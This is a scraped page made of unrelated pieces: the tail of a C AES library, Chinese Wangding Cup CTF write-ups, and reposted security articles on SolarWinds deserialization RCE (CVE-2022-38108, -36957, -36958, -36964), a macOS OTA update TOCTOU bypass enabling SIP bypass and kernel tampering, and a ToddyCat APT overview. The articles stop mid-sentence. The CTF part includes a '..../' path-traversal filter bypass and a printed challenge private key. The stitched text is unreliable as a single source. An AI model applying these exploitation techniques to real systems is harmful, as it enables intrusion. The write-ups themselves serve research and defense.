// The next function call decrypts the PlainText with the Key using AES algorithm.
InvCipher((state_t*)buf, ctx->RoundKey);
}


#endif // #if defined(ECB) && (ECB == 1)





#if defined(CBC) && (CBC == 1)


static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
{
uint8_t i;
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
{
buf[i] ^= Iv[i];
}
}

void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t *Iv = ctx->Iv;
for (i = 0; i < length; i += AES_BLOCKLEN)
{
XorWithIv(buf, Iv);
Cipher((state_t*)buf, ctx->RoundKey);
Iv = buf;
buf += AES_BLOCKLEN;
}
/* store Iv in ctx for next call */
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}

void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
size_t i;
uint8_t storeNextIv[AES_BLOCKLEN];
for (i = 0; i < length; i += AES_BLOCKLEN)
{
memcpy(storeNextIv, buf, AES_BLOCKLEN);
InvCipher((state_t*)buf, ctx->RoundKey);
XorWithIv(buf, ctx->Iv);
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
buf += AES_BLOCKLEN;
}

}

#endif // #if defined(CBC) && (CBC == 1)



#if defined(CTR) && (CTR == 1)

/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
{
uint8_t buffer[AES_BLOCKLEN];

size_t i;
int bi;
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
{
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
{

memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
Cipher((state_t*)buffer,ctx->RoundKey);

/* Increment Iv and handle overflow */
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
{
/* inc will overflow */
if (ctx->Iv[bi] == 255)
{
ctx->Iv[bi] = 0;
continue;
}
ctx->Iv[bi] += 1;
break;
}
bi = 0;
}

buf[i] = (buf[i] ^ buffer[bi]);
}
}

#endif // #if defined(CTR) && (CTR == 1)aes.h
#ifndef _AES_H_
#define _AES_H_

#include <stdint.h>
#include <stddef.h>

// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.

// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
#define CBC 1
#endif

#ifndef ECB
#define ECB 1
#endif

#ifndef CTR
#define CTR 1
#endif


#define AES128 1
//#define AES192 1
//#define AES256 1

#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only

#if defined(AES256) && (AES256 == 1)
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
#define AES_KEYLEN 24
#define AES_keyExpSize 208
#else
#define AES_KEYLEN 16 // Key length in bytes
#define AES_keyExpSize 176
#endif

struct AES_ctx
{
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif

#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes;
// you need only AES_init_ctx as IV is not used in ECB
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);

#endif // #if defined(ECB) && (ECB == !)


#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CBC) && (CBC == 1)


#if defined(CTR) && (CTR == 1)

// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);

#endif // #if defined(CTR) && (CTR == 1)


#endif // _AES_H_aes.hpp
#ifndef _AES_HPP_
#define _AES_HPP_

#ifndef __cplusplus
#error Do not include the hpp header in a c project!
#endif //__cplusplus

extern "C" {
#include "aes.h"
}

#endif //_AES_HPP_
re02
rust编写,会开启8080端口作为web服务,且只会处理get请求

可以看到../被过滤替换为/

..../..../绕过


三、朱雀组
Misc1
在一间阴暗的地下室里,网络安全专家小张正紧盯着屏幕,刚刚截取到一批黑客通过卫星盗取的数据。数据流中杂乱的信息让他感到困惑,直到他注意到一个异常的加密信号。他开始分析这段信号,经过数小时的解密,终于提取出关键信息:一份重要的文件。他必须迅速采取行动,联系上级并确保这份信息不落入黑客手中。
提交的flag格式:wdflag{xxxxx}打开文件一堆01,差分曼彻斯特

写个脚本
from libnum import *

# 读取文件内容
with open("data", "r", encoding="utf-8") as f:
all_str = f.read()

# 计算输出字符串
out = []
n = (len(all_str) // 2) - 1

# 使用列表推导式构建输出
for i in range(n):
out.append('0' if all_str[i*2:i*2+2] == all_str[i*2+2:i*2+4] else '1')

# 将列表转换为字符串并转换为十六进制
hex_output = hex(int(''.join(out), 2))[2:]

# 将结果写入文件
with open("tmp.txt", "w") as f:
f.write(hex_output)
去掉头部100000015转zip

发现zip文件中夹杂多余字节,secret.png被分开,间隔为6个字节,估计是多余了6个字节。至于每取出多少字节后去除尾部6个字节,可以爆破。
因为头部504B03041400没有问题,从504B0304到42020015,长度44,可以从12爆破至44。
附上脚本
# 读取 ZIP 文件
with open("2.zip", "rb") as f:
all_b = f.read()

n = len(all_b)

# 遍历不同的分段大小
for j in range(12, 45):
out = bytearray() # 使用 bytearray 来构建输出
for i in range(0, n, j):
out.extend(all_b[i:i + (j - 6)]) # 使用 extend 方法追加数据

# 写入输出文件
with open(f"out_{j}.zip", "wb") as f:
f.write(out)多次尝试发现每22个字节去除6个多余字节,可以恢复正常文件

解压缩密码:12345678,解压缩得到图片

cHBhYXNzd2Q=base64解密

得到密码
ppaasswd
wdflag{f3b32f2151a877cad089c25994e5da4a}Misc2
题目描述
“新盲盒系列发布了,大家一起来抽奖吧!”此刻的你被这样的字样吸引,于是你决定试试!请使用jdk1.8运行本程序。
给了一个jar文件,我们放到IDEA分析一下

告诉我们是AES加密,并且把密钥也给出来了,我们查看一下加密内容

在线解密一下
https://www.toolhelper.cn/SymmetricEncryption/AES

wdflag{499c1ad9-f66f-4fa0-a6ce-b3aa46f8d598}Misc3
题目描述
MISC03
小李对计算机安全产生了浓厚的兴趣,他学习了一些关于隐藏文件和磁盘加密的方法。他了解到,文件隐藏和加密是保护个人数据的重要手段,因此决定实践自己的新知识。他得到了一个不错加密软件,于是邀请到你,迫不及待地想要一起测试其效果。

提交的flag格式:wdflag{xxxxx}png图片,先放到Hex分析一下文件数据

看到有其他文件,先分离一下

分离打开发现都是6字节的txt文件,而且解密还要密码,想到CRC32碰撞


选择三段比较合理的字符合并得到
This_WD_010cryptPw这就是压缩包的密码,解压文件
得到文档,根据文档名很容易就能猜到是verycrypt加密卷
挂载一下密码为
This_WD_010cryptPw

得到key文件


-----BEGIN ENCRYPTED PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAMync9RVIlHuySZqcpNF23ydbg5PgWVcf5Q1oj5ver9CladGc/IvPuZXeQfdG8jcaFudnfV9lT9xL/NRJmOruj80mq3L4gSZnu+bk0EuIfZlDCNJkGyvlzwlDlycHrdAd4CIcaC8NKPxI6nK8Ui/+v6dCbG7x8K1sb79TIgmVLFxAgMBAAECgYAVP707co/2zxrgU9zb3PzcOFnbH0btg/BErplvD2LgrSyN8tca0iw/HR22Uu89uKHWwluqZ7zJeqp6gmZgoq3ajtZf5TB92ncV0Xp/GPs6lRaDkJUInWIPiar23+VQPQ5uxyTnTQOiCGN5R8BZTsCC4zu/UoAuPxDmU9l8WNnGyQJBAPEktbqFyjzxZJC5PmnkiE/gegdz2i7ysN10pDyCgKhV8leS4F9npighluAD1hDiCKYBLw+foK7eB7Mm+RlF62kCQQDZQzyzebZSWmX/OCyrFk5VFfd10/lnsqQXg/RgJg2jh1UbWTiE6GDFa3H+JuYBDG/fcuuxYZ+TCDOxyDZoKHzJAkEAgA7Bnxr7ih+bCywElBFzvg90Xk7MuA/TktclfKjFECAMQStTkfamCzvDNpVy8aZHd3i7eC2KFDL+ncn9kMlLuQJAIkgWuucYmrQC5huSCMjzQT+/FUuGThOFCuTaWZWHj2caSb9xSJ92LZB/oy+2GTJCMMrsX8fcqxGfPo0t8I966QJBALdfMm0BkauVifxpAnSvfGWbuMsOalZ5Un2kjeIcCr9XBA2xQ7/VJnb+E4kHdF+8WBNONHGysrxizw29N39P53Q=
-----END ENCRYPTED PRIVATE KEY-----RSA加密,想到还有个flag.txt,RSA解密一下

https://tool.lvtao.net/rsa






















网鼎杯部分组附件内容:链接: https://pan.baidu.com/s/1cqv39HqfPLSd3ZLqlg1dgA?pwd=f39c 提取码: f39c 






参考原文转载链接地址:
https://mp.weixin.qq.com/s/Icf6QC1eCsz95vFdDpdm7g
https://mp.weixin.qq.com/s/HhL4lqcL_3EeYg1TDeBOKg
https://goodlunatic.github.io/posts/1a285be/#%E9%A2%98%E7%9B%AE%E5%90%8D%E7%A7%B0-misc02%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0
https://mp.weixin.qq.com/s/5Xet54leUqVOeMYzTX0ROw
https://mp.weixin.qq.com/s/aUXs3-1-VQc7-ZeR07-Tjg
https://mp.weixin.qq.com/s/u9yA1SUq6lneeCIMStybFg
https://mp.weixin.qq.com/s/4HU-jQIKU-xNdzUIGR0Fmg
HireHackking

標題:在SOLARWINDS平台中查找反序列化錯誤

我們會在本文中詳細介紹四個在去年被修復的舊漏洞:
CVE-2022-38108;
CVE-2022-36957;
CVE-2022-36958;
CVE-2022-36964;
CVE-2022-38108這個漏洞已經在這篇博客文章中提到了。
簡單來說,幾個SolarWinds服務通過RabbitMQ實例相互通信,該實例可通過端口5671/TCP訪問。雖然訪問它需要憑據,但是高權限用戶可以通過SolarWinds Orion平台提取這些憑據,攻擊者利用CVE-2023-33225,它允許低權限用戶提取這些憑證。
該漏洞針對的是SolarWinds信息服務。為了向信息服務發送AMQP消息,必須將消息的Routing-Key設置為SwisPubSub,RoutingKey就是路由規則,消息對應的隊列。

AMQP消息中的Routing-Key
現在,讓我們來驗證SolarWinds是如何處理這些消息的,可以從EasyNetQ.Consumer.HandleBasicDeliver方法開始:
在[1]處,代碼檢索AMQP消息的屬性,這些屬性由發送消息的攻擊者控制。
在[2]處,它創建了一個執行上下文,其中包含AMQP消息屬性和消息正文。
在[3]處,它執行一個任務來使用消息。
這就需要Consume方法。
在[1]處,EasyNetQ.DefaultMessageSerializationStrategy.DeserializeMessage被調用,它接受輸入的消息屬性和消息正文。調用名為DeSerialize的方法並返回type類型的輸出,作為輸入,它從消息中接受Type屬性。
我們可以通過AMQP消息屬性控制messageType類型!
在[2]處,它調用BytesToMessage,同時接受攻擊者控制的類型和輸入的消息正文。
在[1]處,消息正文被解碼為UTF-8字符串。它應該包含JSON格式的數據。在[2]處,執行反序列化。我們控制目標類型和序列化負載。在[3]處,可以看到TypeNameHandling反序列化設置被設置為Auto。
現在,我們需要遠超需要實現的遠程代碼。要做到這一點,我們必鬚髮送一個AMQP消息,其中Type屬性設置為危險類型。

通過AMQP屬性控制反序列化類型
在消息正文中,我們必須傳播相應的JSON.NETgadget(有潛在可以被利用的代碼片段)。本文使用了ysosserial.net中的一個簡單的WindowsPrincipalgadget,它是內部存儲的BinaryFormattergadget的橋樑,JSON反序列化後,RCE將通過底層BinaryFormatter反序列化來實現。
這樣,就可以通過遠程執行惡意代碼來控制目標系統的漏洞!
CVE-2022-36957在之前的漏洞中,我們能夠通過AMQP屬性完全控制目標反序列化類型。當發現這樣的漏洞時,我們需要知道合法消息是什麼樣子?我們經常檢查在典型產品操作過程中反序列化的類型。
我們很快意識到SolarWinds只發送一種類型的信息,即SolarWinds.MessageBus.Models.Indication。
現在我們分析一下這種類型:在[1]和[2]處,我們可以看到兩個類型為SolarWinds.MessageBus.Models.PropertyBag的公共成員。
在[1]處,您可以看到所討論的類的定義,SolarWinds.MessageBus.Models.PropertyBag。
在[2]處,為該類註冊了一個自定義轉換器SolarWinds.MessageBus.Models.PropertyBagJsonConverter。它實現了ReadJson方法,該方法將在反序列化過程中調用。
在[1]處,代碼遍歷JSON屬性;在[2]處,檢索JSON值並將其轉換為jobobject類型;在[3]處,根據存儲在t鍵中的值檢索Type;在[4]處,存儲在v鍵中的對像被反序列化,此時我們再次控制目標反序列化類型。
你可以看到,我們再次控制了反序列化類型,該類型通過JSON鍵傳播,序列化的有效負載通過v鍵傳播。
現在,我們可以獲取任何屬性,例如:IndicationId。然後,我們需要:
1.將t鍵的值設置為惡意類型的名稱。
2.在v鍵的值中放入惡意序列化的有效負載。
由於JSON反序列化設置被設置為TypeNameHandling.Auto。現在,讓我們看一下上面描述的第一個漏洞,CVE-2022-38108,通過將目標反序列化類型硬編碼到SolarWinds.MessageBus.Models.Indication來修復。畢竟,這是唯一需要反序列化的合法類型。
這個修正是不夠的,因為SolarWinds.MessageBus.Models.Indication可以用來傳播一個攻擊者控制類型的內部對象。通過控制類型,我們就可以通過遠程執行惡意代碼來控制目標系統的漏洞!
CVE-2022-36958SolarWinds定義了一些稱為“SWIS動詞”的內部方法/操作。這些動詞可以是:
1.通過API直接調用。
2.通過Orion平台Web UI間接調用(Orion平台內部調用動詞)。
關於SWIS動詞,我們需要了解以下2點:
1.它們是使用XML結構中的有效負載調用的。
2.它們接受預定義類型的參數。
例如,Orion.AgentManagement.Agent.Deploy動詞接受12個參數。下面的屏幕截圖顯示了這些參數及其相應的類型。

Orion.AgentManagement.Agent.Deploy的參數
參數的處理是通過方法SolarWinds.InformationService.Verb. VerbExecutorContext.UnpackageParameters(XmlElement[], Stream)執行的。
在[1]處,檢索給定動詞參數的Type;在[2]處,使用檢索到的參數類型初始化DataContractSerializer;在[3]和[4]處,參數被反序列化。
這是正在處理一個DataContractSerializer。不過,這樣我們無法控制反序列化類型。
目前已找到了一些可濫用的PropertyBag類,通過進一步分析,有多個SWIS動詞接受名為SolarWinds.InformationService.Addons.PropertyBag類型的參數。我們可以提供任意XML,將其反序列化為這種類型的對象。
在[1]處,定義了ReadXml方法,它將在反序列化期間被調用;在[2]處,代碼遍歷所提供的項;在[3]處,檢索到關鍵元素。如果存在,則繼續執行代碼;在[4]處,檢索type元素的值。人們可以放心地猜測它接下來如何執行;在[5]處,檢索到value元素;在[6]處,調用Deserialize方法,輸入值和類型標記中包含的數據;在[7]處,序列化的有效負載和類型名稱被傳播給SolarWinds.InformationService.Serialization.SerializationHelper.Deserialize方法。
同樣,類型和序列化的有效負載都由攻擊者控制。讓我們檢查一下這個反序列化方法。在[1]處,代碼檢查所提供的類型是否被緩存。如果不是,則從[2]處的字符串中檢索類型。在[3]處,調用靜態的DeserializeFromStrippedXml。靜態的DeserializeFromStrippedXml方法通過調用SerializationHelper.serializerCache.GetSerializer(type)來檢索序列化器對象。然後,它在檢索到的序列化器對像上調用(非靜態)DeserializeFromStrippedXml(string)方法。
如何檢索序列化器在[1]處,代碼嘗試從緩存中檢索序列化器。在緩存缺失的情況下,它通過調用GetSerializerInternal([2])來檢索序列化器,因此我們繼續使用GetSerializerInternal進行調查。
在[3]處,根據攻擊者控制的類型檢索XmlTypeMapping。它沒有執行任何安全措施。它僅用於檢索關於給定類型的一些基本信息。
在[4]處,初始化XmlStrippedSerializer對象。為構造函數提供了四個參數:
1.一個新的XmlSerializer實例,其中序列化器的類型由攻擊者控制。
2.目標類型的XsdElementName,從XmlTypeMapping獲得。
3.該類型的Namespace,也是從XmlTypeMapping獲得的。
4.類型本身。
到目前為止,我們可以發現:
1.我們正在切換反序列化器。使用DataContractSerializer對整個SWIS動詞有效負載和參數進行反序列化。但是,PropertyBag對象最終將使用XmlSerializer進行反序列化。
2.我們完全控制提供給XmlSerializer構造函數的類型,這是利用它的關鍵條件。
似乎我們有它,通過反序列化中的類型控制的另一個RCE。由於XmlSerializer可能會通過ObjectDataProvider被濫用,我們可以將目標反序列化類型設置為以下類型:

但是,在成功利用漏洞之前,還有必要分析XmlStrippedSerializer.DeserializeFromStrippedXml(String) 。
可以發現,在[1]處,正在創建一個新的XML字符串。它的結構如下:

綜上所述:
1.攻擊者的XML被一個從傳播的類型派生的標記封裝,請參閱GetSerializerInternal方法。
2.檢索到的Namespace被插入到xmlns屬性中。攻擊者控制最終XML的主要片段並控制類型。然而,由於自定義的XML封裝,ysosserial.netgadget將無法開箱即用。
生成的gadget如下所示:
第一個標記等於ExpandedWrapperOfLosFormatterObjectDataProvider。此標記將由DeserializeFromStripedXml方法自動生成,因此我們需要將其從生成的有效負載中刪除!當我們這樣做時,下面的XML將被傳播給XmlSerializer.Deserialize方法。
當你比較原始的ysosserial.net gadget和我們當前的gadget時,可以發現一個很大的區別:
1.原始gadget在根標記中定義了兩個名稱空間:xsi和xsd。
2.當前gadget僅包含一個空xmlns屬性。
ObjectInstance標記依賴於xsi命名空間。因此,反序列化將失敗。
幸運的是,不必在根標籤(roottag)中專門定義命名空間,RootTag是用於標記React Native 原生根視圖層的不透明標識符(opaque identifier)。因此,我們可以通過在ProjectedProperty0標記中定義這兩個名稱空間來修復gadget。
通過這種方式,我們得到了第三個RCE,這樣,我們就完全控制了目標反序列化類型。
CVE-2022-36964技術層面,該漏洞與CVE-2022-36958相同,但是,它存在於共享ReadXml方法的相同實現的不同類中。在本例中,易受攻擊的類是SolarWinds.InformationService.Contract2.PropertyBag。
TestAlertingAction SWIS動詞接受此類型的參數,因此該漏洞可通過API加以利用。
總結我們在本文介紹了SolarWinds中的四個不同的反序列化漏洞,攻擊者可以使用這些漏洞控制反序列化對象的類型,以及介紹瞭如何通過使用自定義反序列化gadget繞過它們。目前,SolarWinds也對這些繞過進行了修復。
HireHackking
蘋果的OTA更新在大多數情況下,macOS更新是通過OTA更新過程完成的。
OTA是over-the-air的縮寫。在“系統設置”中,我們可以通過點擊“立即更新”按鈕直接更新系統。

OTA更新是一種增量更新,因此比完整的操作系統升級更快,容量更小。
它用於小版本更新,通常每兩個月更新一次。但是,如果蘋果公司認為內核中存在緊急漏洞,並且已經被積極利用,並且無法通過RSR(快速安全響應)修復,則可能在幾週內可用,OTA更新包從Apple CDN服務器下載。

從表中可以看到,OTA包是針對當前操作系統版本定制的。
例如,為了更新到12.6,12.5和12.4的軟件包是不同的。更新過程是應用補丁碼,所以不同的操作系統版本有不同的補丁碼。在大多數情況下,系統越老,包就越大。
下載並解壓縮OTA包後,我們可以看到包的內容如下:

引導目錄包含與引導過程相關的內容,增量更新的真正補丁代碼位於名為payloadv2的目錄中。有一個名為payload.bom的關鍵文件,它列出了OTA包中的所有項目及其校驗和值。文件payload.bom.signature用於驗證payload.bom文件的完整性。文件pre.bom和post.bom列出了更新前後系統上的所有項目及其校驗和值。 Info.plist文件提供了有關當前OTA包的一些基本信息,例如預版本、目標版本等。
在payloadv2文件夾中,有一些需要注意的重要文件。新系統中的新數據文件被壓縮為名為data_payload的文件。 ecc_data文件夾包含一些與文件權限相關的文件。 links.txt文件列出了新系統的所有硬鏈接。 removed.txt文件列出了需要從當前系統中刪除的所有項目。
更新階段一般的更新過程可以抽象為3個階段。

第一步是下載並解壓縮UpdateBrainService 捆綁包。
第二階段是下載並解壓縮OTA包。
第三個階段是使用OTA包生成UpdateBrainService。
那麼,系統從哪裡下載UpdateBrainService呢?
經過一些研究,我發現下載網址位於XML文件/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain. XML:

從這個文件中,我們可以看到基本URL和構建完整URL的相對路徑。它還包含版本、發布日期、包大小、SHA1值和其他有用的信息。
第一階段
獲取下載URL後,進程nsurlessiond負責將UpdateBrainService下載到臨時目錄。同時,com.apple.StreamingUnzipService將其解壓縮到相同的臨時位置。接下來,mobileassetd進程將解壓的內容移動到可信位置,/System/Library/AssetsV2/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/。最後,在啟動的進程生成UpdateBrainService之前,xpc服務包將被複製到它的暫存路徑。
第二階段第二階段與第一階段相似:

不同之處在於xml路徑/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/com_apple_MobileAsset_MacSoftwareUpdate.xml,
下載url和目標位置/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/。
第三階段第三個階段是UpdateBrainService本身。
特定的xpc服務有許多有趣的權限:

例如,“com.apple.rootless.install.heritable”授予其自身及其所有子進程修改SIP保護位置的權限。此外,“com.apple.apfs.reverse to snapshot”和“com.apple.private.apfs.create sealed snapshot(創建密封快照)”權限可能允許服務在重新啟動後更新受SSV保護的內容。
我們還應該注意的一點是,它是用標誌庫驗證進行簽名的。因此,我們不能通過將動態庫注入到這項服務中來直接享受這些權限。
逆轉UpdateBrainService
com.apple.MobileSoftwareUpdate.UpdateBrainService2
通過簡單的逆向工程,我們發現它提供了一個名為com.apple.MobileSoftwareUpdate.UpdaterainService2的mach服務,該服務具有一個稱為MSUBrainPrivateSXPCI接口的協議。

它通過在委託方法中返回YES直接接受來自任何客戶端的所有xpc連接:

但在研究過程中,我意識到服務中的協議方法沒有實現,所以我可能會在未來的版本中再次檢查。
com.apple.MobileSoftwareUpdate.UpdateBrainService
還有一個名為com.apple.MobileSoftwareUpdate.UpdateBrainService的服務。它是通過C語言的低級XPC API實現的:

在xpchandler(Handler主要用於異步消息的處理:當發出一個消息之後,首先進入一個消息隊列,發送消息的函數即刻返回,而另外一個部分在消息隊列中逐一將消息取出,然後對消息進行處理,也就是發送消息和接收消息不是同步的處理。)方法中,我們可以看到它通過一個全局數組來調度xpc請求:

如果xpc客戶機具有相應請求所需的權限,則服務將相應地調用處理例程函數。
全局調度表有7個元素,每個元素有3個成員:操作的名稱、所需的權限字符串和實際處理例程函數的地址。

繞過簽名驗證(CVE-2022-42791)修改包可以在應用補丁之前修改OTA包嗎?回顧之前討論過更新的第二階段,可以確認OTA包的最終路徑(/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/)被SIP保護。
但是,提取的內容首先被放置在一個臨時位置(/var/folders/zz/zyxvpxvq6csfxvn_n00000y800007k/T/
com.apple.nsurlsessiond/CFNetworkDownload_XXXXXX.tmp/[hash].asset),完全不受限制,它由nsurlsessiond所有,根用戶可以直接修改它。
因此,在mobileasseted進程移動到最終可信位置之前,有一個修改內容的時間窗口。因此,可信位置中的OTA包的內容是不可信的,需要進行驗證。
當我嘗試替換有效負載時。由於權限問題,mobileassetd進程無法調用文件API,因此拒絕移動到最終路徑:

但事實是,一旦通過檢測,它將調用API rename來移動包內容。所以我很早就替換了目標文件。
但一個成功的日誌是什麼樣的呢,如下圖所示:

幸運的是,有一個關鍵字字符串(“Moving file in …”)表明通過檢查的時間窗口。因此,一旦從日誌中監控到該關鍵字,我就可以替換目標文件。
接下來,我將進行第二次嘗試:
監控日誌,一旦檢測到關鍵字“Moving file”,就立即從OTA包中替換目標文件。
然後,被篡改的內容成功地傳輸到最終的可信位置!
但是,UpdateBrainService停止準備操作系統更新。
OTA包驗證此服務的職責是從可信位置驗證不可信的OTA包的內容。那麼,它如何驗證OTA包呢?
如上所述,payload.bom文件列出OTA包中的所有項目及其校驗和值:

下面是驗證包內容的函數:

它打開文件payload.bom並讀取其內容。接下來,該函數將payload.bom文件中指定的文件摘要值與最終路徑上的真實摘要值進行比較:

如果其中一個摘要值不等於期望值,則該函數返回false並且驗證失敗。
它如何驗證payload.Bom文件本身?另一個名為verify_package_signature的函數負責驗證:

首先,它打開payload.bom文件併計算其SHA1值。然後打開payload. dom .signature文件並讀取簽名文件內容。
接下來,它從系統證書文件(/System/Library/SoftwareUpdateCertificates/iPhoneSoftwareUpdate.pem)中獲取公鑰,該文件受SIP和SSV保護:

最後,它通過調用來自Security.framework的API seckeyverifysignsignature,用公鑰計算出的SHA1值和簽名文件內容驗證簽名:

TOCTOU漏洞這樣,在驗證中存在一個經典的TOCTOU (Time-Of-Check-Time-Of-Use)漏洞:

位於受信任位置的payload.bom文件不能直接修改,但我們可以在mobileassetd進程移動OTA包之前用符號鏈接替換它。因此,可以使用符號鏈接隨時修改payload.bom文件。
接下來,在函數verify_package_signature中,它根據符號鏈接從受控位置讀取BOM文件,因此我們使用原始payload.BOM來通過檢查。
然後在函數verify_package_contents中,它也遵循符號鏈接並使用受控BOM文件驗證OTA包中的所有其他項。所以現在,我們可以模擬payload.bom文件以替換OTA包中的所有其他項。
經過三次嘗試,終於實現了:
將原始payload.bom複製到受控位置/tmp/ppayload.bcom。
監控日誌,一旦檢測到關鍵字“Moving file”,就用指向/tmp/playload.bom的符號鏈接替換payload.bom。
符號鏈接(/tmp/payload.bom)已成功移動到最終受信任的位置!
在傳遞函數verify_package_signature後,偽造BOM文件(/tmp/payload.bom) 。
現在,OTA包中的所有項目都可以被篡改!
漏洞利用1:SIP繞過第一個漏洞是繞過SIP,這很容易做到。
函數ParallelPatchRemoveFiles讀取OTA包中的deleted .txt文件,並刪除txt文件中指定的所有項:

因此,我可以通過修改txt文件獲得一個原語來刪除任意受sip保護的路徑。
該漏洞適用於所有Mac平台,包括英特爾Mac和Apple Silicon Mac。
漏洞利用2:攻擊內核那麼,我可以劫持新的操作系統內核嗎?
使用SSV
繞過SIP後直接劫持OS內核的挑戰是SSV保護。
signed system volume (SSV)是macOS Big Sur中引入的新功能。在SIP被繞過的情況下,它仍然使用隔離的只讀系統卷來保護系統文件。

最基本的事實是,蘋果需要通過OTA更新來更新操作系統內核文件。因此,OTA更新過程必須具備突破SSV保護的能力。
但是這個過程是如何完成的呢?
macOS系統有一個隱藏的更新卷(/System/Volumes/Update/mnt1),它是當前操作系統的快照。然後將所有補丁應用於該快照。如果更新過程成功,它將更新密封值並引導新的操作系統。如果更新失敗,它將恢復到以前的快照。
在深入研究了UpdateBrainService之後,我總結了OTA更新過程中的關鍵工作流,如下所示:

首次嘗試首次嘗試是通過有效負載提取函數釋放一個精心製作的內核文件。
製作data_payload的步驟如下:

在OTA更新過程中,按照預期將精心製作的data_payload提取到快照中。
不過,重啟後它就不起作用了,目前還不確定是什麼原因。
第二次嘗試我的第二種方法是濫用應用修復的copy_patched_files函數。這與OTA更新過程更新內核的方式相同。
然而,困難在於我必須自己創建修復文件,它是BXDIFF 5格式的,並且沒有文檔記錄。所以,我必須先研究一下文件格式。
BXDIFF 5文件格式穀歌搜索這個文件格式後,我找到兩個GitHub存儲庫,它們都用於將修復文件應用於舊文件,然後生成新文件。但是,我需要基於兩個不同的文件生成一個修復文件。
但它們確實幫助我理解了文件格式,通過閱讀代碼,我知道BXDIFF 5文件由4部分組成:Header, Control, Diff和Extra。
Header部分的大小為88字節,前8個字節是硬編碼的魔術數字:

紅色的部分是未知的,似乎是無用的。綠色部分為修復前後的哈希值,用於驗證修復是否成功。藍色部分是以下部分的大小。
Control部分使用LZMA算法進行壓縮,解壓後的Control段數據為24字節,由3種控制命令組成:

第一個是混合長度,它指定從Diff部分混合多少字節。第二個是複制長度,第三個是查找長度。
Diff部分和Extra部分也是LZMA壓縮的。解壓縮後,數據是一個原始字節數組,以前由Control部分使用。
製作一個精心製作的修復程序文件我的目標是替換內核中系統命令uname的輸出字符串。所以我應該修改Diff部分。
首先,使用以下腳本計算Diff節中的新字節。

然後計
HireHackking

標題:ToddyCat攻擊手段再度升級

ToddyCat是一個相對較新的複雜APT組織,卡巴斯基研究人員最早在2020年11月檢測到該組織的活動,當時該威脅組織正在對目標的Microsoft Exchange服務器進行一系列攻擊,去年的一篇文章曾描述過它。
之後,該組織於2020年12月開始活動,並對歐洲和亞洲的知名對象發動了多起攻擊。
在去年,我們發現了一組新的全新加載程序,並收集了有關其開發後活動的信息,這使我們能夠擴展對該組織的了解,並獲得有關攻擊者的TTP(戰術,技術和程序)的新信息。接下來,我們將描述他們的新工具集,用於竊取和洩露數據的惡意軟件,以及該組織用於橫向移動和進行間諜活動的技術。
工具集標準的加載器加載程序是64位庫,由rundll32.exe調用,或者用合法的和簽名的可執行文件進行側加載,這些組件在感染階段用於加載Ninja木馬作為第二階段。我們已經看到了這些新加載器的三種變體:

第一個變體的文件名為update.dll或x64.dll,通常使用合法的rundll32.exe Windows實用程序加載,大多數惡意代碼駐留在DllMain中,但下一個階段是通過導出的Start函數調用的,其他兩個變體應該與合法的VLC.exe媒體播放器一起加載,這被濫用來加載惡意庫。
